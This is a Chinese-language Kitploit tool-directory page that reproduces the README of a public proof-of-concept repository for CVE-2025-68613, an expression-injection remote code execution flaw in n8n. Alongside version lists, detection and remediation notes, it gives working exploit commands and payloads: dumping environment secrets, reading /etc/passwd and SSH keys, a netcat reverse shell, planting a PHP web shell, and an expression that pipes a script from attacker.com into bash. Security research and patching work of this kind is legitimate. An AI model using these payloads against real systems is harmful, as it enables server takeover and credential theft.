Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-68613-POC — 针对 CVE-2025-68613 的公开 PoC + 扫描器及研究:n8n 工作流自动化中的严重 RCE 漏洞(通过表达式注入,CVSS 10.0)。包含检测工具、完整利用代码和修复指南。 | Kitploit
工具/GitHubGitHub/thestingr/cve-2025-68613-poc
侦察漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试论文与研究学习与教育红队Payload 开发
264410个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
thestingr/cve-2025-68613-poc

CVE-2025-68613-POC

针对 CVE-2025-68613 的公开 PoC + 扫描器及研究:n8n 工作流自动化中的严重 RCE 漏洞(通过表达式注入,CVSS 10.0)。包含检测工具、完整利用代码和修复指南。

查看仓库

🚨 CVE-2025-68613: n8n 中的严重 RCE 漏洞

语言: Python CVSS 评分: 10.0 严重 利用状态: 概念验证可用 CVE 状态: CVE-2025-68613 已披露 版本: v1.0.2 目标平台: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

目录

  1. 概述
  2. 什么是 n8n?
  3. 漏洞基础
  4. 技术细节
  5. 受影响版本
  6. 利用机制
  7. 现实影响
  8. 检测方法
  9. 修复与缓解措施
  10. 资源与参考

概述

CVE-2025-68613 是流行开源工作流自动化平台 n8n 中发现的一个严重远程代码执行(RCE) 漏洞。该漏洞允许经过身份验证的用户在服务器上执行任意代码,可能导致系统完全被攻陷。

快速事实

  • CVE ID:CVE-2025-68613
  • CVSS 评分:9.9 - 10.0(严重)
  • 漏洞类型:表达式注入 → 远程代码执行
  • CWE:CWE-913(对动态管理的代码资源控制不当)
  • 攻击向量:网络
  • 需要身份验证:是(低权限 - 无需管理员访问权限) |- 状态:概念验证可用(经验证可在 v1.121.0 上运行)

什么是 n8n?

n8n 是一个开源工作流自动化平台,允许用户:

  • 连接各种 API、数据库和服务
  • 自动化重复性业务流程
  • 无需大量编码即可创建复杂工作流
  • 在本地或云中部署

为什么 n8n 是关键基础设施

组织使用 n8n 来:

  • 将数据库与云服务集成
  • 自动化数据处理管道
  • 连接 CRM、ERP 和内部系统
  • 管理敏感数据和 API 凭证

这种在 IT 基础设施中的核心角色使漏洞尤其危险,因为它们可为攻击者提供对整个网络和敏感数据的访问权限。


本仓库中的工具

本仓库包含用于漏洞检测和利用测试的即用工具:

1. 扫描器:cve-2025-68613-scanner.py

用途:安全、非利用性的易受攻击 n8n 实例检测

特性:

  • 通过 HTTP 响应进行被动版本检测
  • 无需身份验证
  • 不执行 payload
  • 检查多个常见路径(/、/rest/settings、/healthz、/api/v1/health)
  • 适用于授权的安全评估

用法:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

**输出**:
- 退出码 0:未发现漏洞
- 退出码 1:版本无法确定(可能已修补或隐藏)
- 退出码 2:检测到存在漏洞的版本

### 2. Nuclei 模板:`CVE-2025-68613.yaml`
**目的**:自动漏洞检测和基本表达式评估测试

**特性**:
- 需要有效认证令牌
- 测试表达式注入能力
- 尝试读取 Node.js 全局上下文(process.platform)
- 创建工作流以验证 RCE 向量
- CVSS 10.0 严重等级分类

**使用方法**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. 完整漏洞利用:exploit_cve-2025-68613.py

用途:包含多种攻击载荷的概念验证漏洞利用程序

功能:

  • 完整的身份验证处理
  • 多种漏洞利用载荷:
    • info:收集系统信息(操作系统、架构、Node.js 版本、当前用户)
    • cmd:执行任意系统命令
    • env:提取所有环境变量(泄露凭据、API 密钥、机密信息)
    • read:从文件系统读取敏感文件(SSH 密钥、配置文件等)
    • write:向文件系统写入文件(持久化、后门等)
    • revshell:建立反向 Shell 连接以进行交互式访问
  • 自动清理工作流程
  • 错误处理与状态报告

要求:

  • 有效的 n8n 用户凭据(邮箱/密码)
  • Python 3.6+ 及 requests 库
  • 能够访问目标 n8n 实例的网络

安装:```bash pip install requests chmod +x exploit_cve-2025-68613.py

**使用示例**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

工作原理:

  1. 使用提供的凭证向 n8n 进行身份验证
  2. 创建一个包含表达式注入负载的恶意工作流
  3. 负载通过 this.constructor.constructor() 突破表达式沙箱
  4. 通过 process.platform 或其他 Node.js API 执行负载
  5. 从工作流执行中检索结果
  6. 通过删除测试工作流进行清理

退出代码:

  • 0:成功利用
  • 1:身份验证或利用失败

漏洞基础

问题是什么?

简单来说:n8n 允许用户在工作流中编写表达式来动态处理数据。然而,这些表达式在没有适当沙箱的情况下被评估,使得攻击者能够突破预期的执行上下文,在服务器上运行任意代码。

核心问题

当你在 n8n 中创建工作流时,可以使用“表达式”来操作数据。这些表达式应该在受限环境中运行。然而,该漏洞表明这些表达式可以访问底层系统,使得攻击者能够:

  1. 执行系统命令
  2. 在服务器上读取/写入文件
  3. 窃取环境变量(API 密钥、密码、机密信息)
  4. 修改或删除数据
  5. 建立持久化访问以实现长期控制

为何如此危险

  • 进入门槛低:仅需用户登录(无需特殊管理员权限)
  • 适用性广:许多组织允许非技术用户创建工作流
  • 影响大:以 n8n 进程的完整权限运行
  • 数据访问:可访问 n8n 能访问的所有数据(数据库、API、凭证)
  • 网络位置:n8n 通常位于关键基础设施的中心,便于横向移动

技术细节

漏洞如何工作

第 1 步:工作流表达式评估

当用户在 n8n 中创建工作流时,他们可以使用表达式来处理数据:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

#### 步骤 2:表达式注入
攻击者构建一个恶意表达式,以逃脱预期的沙箱:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

步骤 3:代码执行

表达式未经过适当隔离就被评估,使得攻击者能够:

  • 调用系统函数
  • 执行 shell 命令
  • 访问文件系统
  • 读取环境变量

根本原因

该漏洞源于表达式评估引擎中的不充分的沙箱化。n8n 团队评估表达式的上下文允许:

  • 访问 require() 或类似的模块加载函数
  • 未正确限制对系统 API 的访问
  • 未验证或过滤表达式语法
  • 未防止原型污染攻击
  • 未将执行环境与底层的 Node.js 运行时隔离

代码执行路径```

User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

---

## 受影响版本

### 受影响的版本范围

所有从 **0.211.0** 开始到以下版本的 n8n 版本均受影响:
- `0.211.0` → `1.120.3`
- `1.121.0`

### 已修复版本

该漏洞已在以下版本中修复:
- ✅ `1.120.4` 以及 1.120.x 分支的后续版本
- ✅ `1.121.1` 以及 1.121.x 分支的后续版本
- ✅ `1.122.0` 及所有更新版本

### 如何检查你的版本```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

测试版本与兼容性

已验证可用的版本

  • n8n v1.121.0: ✅ 完全可利用(确认可远程代码执行,表达式注入有效)
  • n8n v0.211.0 - v1.120.3: ✅ 属于NVD记录的可受攻击版本范围(未逐一测试)

已知问题

  • REST执行限制: /rest/workflows/{id}/run 端点 在 v1.121.0 中返回HTTP 500错误
    • 解决方法: 表达式注入完美运行,通过以下方式确认RCE:
      1. 在UI中手动点击“测试步骤”按钮(已验证有效)
      2. 工作流输出捕获
    • 这是API限制,而非漏洞Bug

未测试的版本

  • n8n v0.212.0+: 超出已知漏洞文档范围,很可能已修补(参见GitHub issue #1)
  • Windows服务器部署: 针对Windows特定环境的测试数据有限

版本支持声明

该漏洞利用工具针对NVD记录的受攻击范围设计:

  • 确认可受攻击版本: 0.211.0 至 1.120.3,以及 1.121.0
  • 已修补版本: 1.120.4、1.121.1、1.122.0 及更高版本

若针对此范围外的版本进行测试,无法保证成功。


利用机制

攻击者可实现哪些操作?

一旦已认证用户(或持有有效凭证的攻击者)利用此漏洞,即可:

1. 执行任意系统命令```javascript

${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

#### 2. 从服务器读取文件```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

3. 读取环境变量```javascript

${Object.keys(process.env).join(', ')} // Lists all environment variables

${process.env.DATABASE_PASSWORD} // Extracts specific secrets

#### 4. 写入恶意文件```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
下载工具